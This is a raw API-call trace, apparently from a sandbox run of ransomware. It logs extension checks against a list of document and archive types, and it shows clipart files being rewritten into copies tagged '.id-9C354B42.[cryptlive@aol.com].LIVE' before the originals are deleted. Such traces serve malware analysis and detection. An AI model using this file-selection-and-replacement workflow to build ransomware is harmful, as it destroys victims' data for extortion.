(lpString=".docx") returned 5 [0153.512] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.512] lstrlenW (lpString=".pdf") returned 4 [0153.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.512] lstrlenW (lpString=".xls") returned 4 [0153.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.512] lstrlenW (lpString=".xlsx") returned 5 [0153.512] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.512] lstrlenW (lpString=".ppt") returned 4 [0153.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.512] lstrlenW (lpString=".zip") returned 4 [0153.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.512] lstrlenW (lpString=".rar") returned 4 [0153.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.512] lstrlenW (lpString=".bz2") returned 4 [0153.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.512] lstrlenW (lpString=".7z") returned 3 [0153.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.512] lstrlenW (lpString=".dbf") returned 4 [0153.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.513] lstrlenW (lpString=".1cd") returned 4 [0153.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.513] lstrlenW (lpString=".jpg") returned 4 [0153.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.513] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.513] lstrlenW (lpString="J0105638.WMF") returned 12 [0153.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.526] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10364) returned 1 [0153.526] CloseHandle (hObject=0x350) returned 1 [0153.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 0x20 [0153.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.542] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.542] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0153.543] GetLastError () returned 0x0 [0153.543] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x287c, lpOverlapped=0x0) returned 1 [0153.547] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2880, lpOverlapped=0x0) returned 1 [0153.548] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.548] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.548] SetEndOfFile (hFile=0x314) returned 1 [0153.548] CloseHandle (hObject=0x314) returned 1 [0153.548] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.548] SetEndOfFile (hFile=0x384) returned 1 [0153.551] CloseHandle (hObject=0x384) returned 1 [0153.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0153.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.552] lstrlenW (lpString=".doc") returned 4 [0153.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.552] lstrlenW (lpString=".docx") returned 5 [0153.552] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.552] lstrlenW (lpString=".pdf") returned 4 [0153.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.552] lstrlenW (lpString=".xls") returned 4 [0153.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.552] lstrlenW (lpString=".xlsx") returned 5 [0153.552] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.552] lstrlenW (lpString=".ppt") returned 4 [0153.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.552] lstrlenW (lpString=".zip") returned 4 [0153.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.552] lstrlenW (lpString=".rar") returned 4 [0153.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.552] lstrlenW (lpString=".bz2") returned 4 [0153.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.552] lstrlenW (lpString=".7z") returned 3 [0153.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.552] lstrlenW (lpString=".dbf") returned 4 [0153.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.552] lstrlenW (lpString=".1cd") returned 4 [0153.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.553] lstrlenW (lpString=".jpg") returned 4 [0153.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.553] lstrlenW (lpString=".doc") returned 4 [0153.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.553] lstrlenW (lpString=".docx") returned 5 [0153.553] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.553] lstrlenW (lpString=".pdf") returned 4 [0153.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.553] lstrlenW (lpString=".xls") returned 4 [0153.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.553] lstrlenW (lpString=".xlsx") returned 5 [0153.553] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.553] lstrlenW (lpString=".ppt") returned 4 [0153.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.553] lstrlenW (lpString=".zip") returned 4 [0153.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.553] lstrlenW (lpString=".rar") returned 4 [0153.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.553] lstrlenW (lpString=".bz2") returned 4 [0153.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.553] lstrlenW (lpString=".7z") returned 3 [0153.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.553] lstrlenW (lpString=".dbf") returned 4 [0153.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.553] lstrlenW (lpString=".1cd") returned 4 [0153.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0153.553] lstrlenW (lpString=".jpg") returned 4 [0153.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.554] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.554] lstrlenW (lpString="J0105710.WMF") returned 12 [0153.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.554] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=13808) returned 1 [0153.554] CloseHandle (hObject=0x384) returned 1 [0153.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 0x20 [0153.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.555] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.555] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0153.556] GetLastError () returned 0x0 [0153.556] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x35f0, lpOverlapped=0x0) returned 1 [0153.571] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3600, lpOverlapped=0x0) returned 1 [0153.575] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.575] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.575] SetEndOfFile (hFile=0x314) returned 1 [0153.575] CloseHandle (hObject=0x314) returned 1 [0153.575] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.575] SetEndOfFile (hFile=0x384) returned 1 [0153.704] CloseHandle (hObject=0x384) returned 1 [0153.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0153.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.730] lstrlenW (lpString=".doc") returned 4 [0153.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.730] lstrlenW (lpString=".docx") returned 5 [0153.730] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.730] lstrlenW (lpString=".pdf") returned 4 [0153.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.730] lstrlenW (lpString=".xls") returned 4 [0153.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.730] lstrlenW (lpString=".xlsx") returned 5 [0153.730] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.730] lstrlenW (lpString=".ppt") returned 4 [0153.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.730] lstrlenW (lpString=".zip") returned 4 [0153.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.730] lstrlenW (lpString=".rar") returned 4 [0153.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.730] lstrlenW (lpString=".bz2") returned 4 [0153.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.730] lstrlenW (lpString=".7z") returned 3 [0153.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.731] lstrlenW (lpString=".dbf") returned 4 [0153.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.731] lstrlenW (lpString=".1cd") returned 4 [0153.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.731] lstrlenW (lpString=".jpg") returned 4 [0153.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.731] lstrlenW (lpString=".doc") returned 4 [0153.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.731] lstrlenW (lpString=".docx") returned 5 [0153.731] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.731] lstrlenW (lpString=".pdf") returned 4 [0153.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.731] lstrlenW (lpString=".xls") returned 4 [0153.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.731] lstrlenW (lpString=".xlsx") returned 5 [0153.731] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.731] lstrlenW (lpString=".ppt") returned 4 [0153.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.731] lstrlenW (lpString=".zip") returned 4 [0153.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.731] lstrlenW (lpString=".rar") returned 4 [0153.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.731] lstrlenW (lpString=".bz2") returned 4 [0153.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.731] lstrlenW (lpString=".7z") returned 3 [0153.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.731] lstrlenW (lpString=".dbf") returned 4 [0153.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.732] lstrlenW (lpString=".1cd") returned 4 [0153.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0153.732] lstrlenW (lpString=".jpg") returned 4 [0153.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.732] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.732] lstrlenW (lpString="J0107024.WMF") returned 12 [0153.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.732] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3020) returned 1 [0153.733] CloseHandle (hObject=0x384) returned 1 [0153.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 0x20 [0153.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.751] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.751] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0153.752] GetLastError () returned 0x0 [0153.752] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xbcc, lpOverlapped=0x0) returned 1 [0153.754] WriteFile (in: hFile=0x1b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0153.755] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.755] WriteFile (in: hFile=0x1b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.755] SetEndOfFile (hFile=0x1b8) returned 1 [0153.755] CloseHandle (hObject=0x1b8) returned 1 [0153.755] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.755] SetEndOfFile (hFile=0x384) returned 1 [0153.757] CloseHandle (hObject=0x384) returned 1 [0153.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0153.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.760] lstrlenW (lpString=".doc") returned 4 [0153.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.760] lstrlenW (lpString=".docx") returned 5 [0153.760] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.760] lstrlenW (lpString=".pdf") returned 4 [0153.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.760] lstrlenW (lpString=".xls") returned 4 [0153.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.760] lstrlenW (lpString=".xlsx") returned 5 [0153.760] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.760] lstrlenW (lpString=".ppt") returned 4 [0153.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.760] lstrlenW (lpString=".zip") returned 4 [0153.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.760] lstrlenW (lpString=".rar") returned 4 [0153.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.760] lstrlenW (lpString=".bz2") returned 4 [0153.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.760] lstrlenW (lpString=".7z") returned 3 [0153.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.760] lstrlenW (lpString=".dbf") returned 4 [0153.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.760] lstrlenW (lpString=".1cd") returned 4 [0153.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.760] lstrlenW (lpString=".jpg") returned 4 [0153.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.760] lstrlenW (lpString=".doc") returned 4 [0153.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.760] lstrlenW (lpString=".docx") returned 5 [0153.761] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.761] lstrlenW (lpString=".pdf") returned 4 [0153.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.761] lstrlenW (lpString=".xls") returned 4 [0153.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.761] lstrlenW (lpString=".xlsx") returned 5 [0153.761] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.761] lstrlenW (lpString=".ppt") returned 4 [0153.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.761] lstrlenW (lpString=".zip") returned 4 [0153.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.761] lstrlenW (lpString=".rar") returned 4 [0153.761] 